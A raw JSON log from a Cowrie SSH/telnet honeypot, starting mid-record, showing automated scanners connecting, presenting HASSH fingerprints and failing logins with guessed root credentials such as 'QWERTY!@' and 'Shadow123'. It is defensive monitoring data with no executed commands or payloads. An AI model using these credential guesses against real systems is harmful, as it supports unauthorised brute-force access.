16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:34.667469Z","src_ip":"2.57.122.238","session":"6af88c56ec28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:34.963086Z","src_ip":"2.57.122.238","session":"6af88c56ec28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:36.061029Z","src_ip":"2.57.122.238","session":"6af88c56ec28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":34496,"dst_ip":"10.17.0.5","dst_port":22,"session":"3251e42678ab","protocol":"ssh","message":"New connection: 43.134.184.253:34496 (10.17.0.5:22) [session: 3251e42678ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:36.511731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:36.516579Z","src_ip":"43.134.184.253","session":"3251e42678ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:36.754666Z","src_ip":"43.134.184.253","session":"3251e42678ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY!@","message":"login attempt [root/QWERTY!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:37.739851Z","src_ip":"43.134.184.253","session":"3251e42678ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccda66e11977","protocol":"telnet","message":"New connection: 152.42.224.71:55060 (10.17.0.5:23) [session: ccda66e11977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:38.902356Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:38.982738Z","src_ip":"43.134.184.253","session":"3251e42678ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.30793380737305,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:51.466954Z","src_ip":"152.42.224.71","session":"d936dc9af006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.49606513977051,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:51.588340Z","src_ip":"152.42.224.71","session":"051736e53c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.54031419754028,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:52.681815Z","src_ip":"152.42.224.71","session":"cf2083b739c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00747203826904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:59.324842Z","src_ip":"152.42.224.71","session":"86d1d50921d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57784,"dst_ip":"10.17.0.5","dst_port":23,"session":"9367203468bc","protocol":"telnet","message":"New connection: 152.42.224.71:57784 (10.17.0.5:23) [session: 9367203468bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:02.444070Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60542,"dst_ip":"159.203.135.109","dst_port":22,"session":"fef307bddcf0","protocol":"ssh","message":"New connection: 51.250.105.222:60542 (159.203.135.109:22) [session: fef307bddcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:05.908217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:05.913498Z","src_ip":"51.250.105.222","session":"fef307bddcf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:06.045765Z","src_ip":"51.250.105.222","session":"fef307bddcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789v","message":"login attempt [root/123456789v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:06.440860Z","src_ip":"51.250.105.222","session":"fef307bddcf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:07.574227Z","src_ip":"51.250.105.222","session":"fef307bddcf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.54977989196777,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:25.451985Z","src_ip":"152.42.224.71","session":"ccda66e11977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.1834032535553,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:29.465271Z","src_ip":"152.42.224.71","session":"a16e5baffcf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42222,"dst_ip":"10.17.0.5","dst_port":23,"session":"2306b8a60996","protocol":"telnet","message":"New connection: 152.42.224.71:42222 (10.17.0.5:23) [session: 2306b8a60996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:30.916584Z"}
{"eventid":"cowrie.session.closed","duration":82.37512469291687,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:41.762599Z","src_ip":"152.42.224.71","session":"adbe413ce49d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":48096,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e15b064e6b9","protocol":"ssh","message":"New connection: 43.173.88.240:48096 (10.17.0.5:22) [session: 5e15b064e6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:46.922827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:46.927466Z","src_ip":"43.173.88.240","session":"5e15b064e6b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:46.994696Z","src_ip":"43.173.88.240","session":"5e15b064e6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2010","message":"login attempt [root/user2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:47.297714Z","src_ip":"43.173.88.240","session":"5e15b064e6b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:48.369869Z","src_ip":"43.173.88.240","session":"5e15b064e6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":59580,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f23038b35fe","protocol":"ssh","message":"New connection: 103.77.175.15:59580 (10.17.0.5:22) [session: 3f23038b35fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:54.936662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:54.944627Z","src_ip":"103.77.175.15","session":"3f23038b35fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:55.206356Z","src_ip":"103.77.175.15","session":"3f23038b35fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48672,"dst_ip":"10.17.0.5","dst_port":23,"session":"654a7fbac5a1","protocol":"telnet","message":"New connection: 152.42.224.71:48672 (10.17.0.5:23) [session: 654a7fbac5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:55.551143Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfitymrf","message":"login attempt [root/cfitymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:55.990432Z","src_ip":"103.77.175.15","session":"3f23038b35fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:57.255473Z","src_ip":"103.77.175.15","session":"3f23038b35fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35948,"dst_ip":"159.203.135.109","dst_port":22,"session":"148de0078ef9","protocol":"ssh","message":"New connection: 193.228.128.84:35948 (159.203.135.109:22) [session: 148de0078ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:57.369844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:57.375462Z","src_ip":"193.228.128.84","session":"148de0078ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:57.478640Z","src_ip":"193.228.128.84","session":"148de0078ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456y","message":"login attempt [root/123456y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:57.788537Z","src_ip":"193.228.128.84","session":"148de0078ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":43868,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b2d2ff06bb4","protocol":"ssh","message":"New connection: 43.134.184.253:43868 (10.17.0.5:22) [session: 9b2d2ff06bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:58.776304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:58.781771Z","src_ip":"43.134.184.253","session":"9b2d2ff06bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:58.901552Z","src_ip":"193.228.128.84","session":"148de0078ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:12:59.020340Z","src_ip":"43.134.184.253","session":"9b2d2ff06bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Shadow123","message":"login attempt [root/Shadow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:00.002824Z","src_ip":"43.134.184.253","session":"9b2d2ff06bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:01.245035Z","src_ip":"43.134.184.253","session":"9b2d2ff06bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48074,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3302b7ff4e3","protocol":"telnet","message":"New connection: 152.42.224.71:48074 (10.17.0.5:23) [session: f3302b7ff4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:02.089026Z"}
{"eventid":"cowrie.session.closed","duration":38.62277865409851,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:09.539236Z","src_ip":"152.42.224.71","session":"2306b8a60996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52338,"dst_ip":"10.17.0.5","dst_port":22,"session":"479a9338c3ba","protocol":"ssh","message":"New connection: 194.59.206.2:52338 (10.17.0.5:22) [session: 479a9338c3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:25.558813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:25.578656Z","src_ip":"194.59.206.2","session":"479a9338c3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:25.648498Z","src_ip":"194.59.206.2","session":"479a9338c3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:13:25.815639Z","src_ip":"194.59.206.2","session":"479a9338c3ba","protocol":"ssh"}
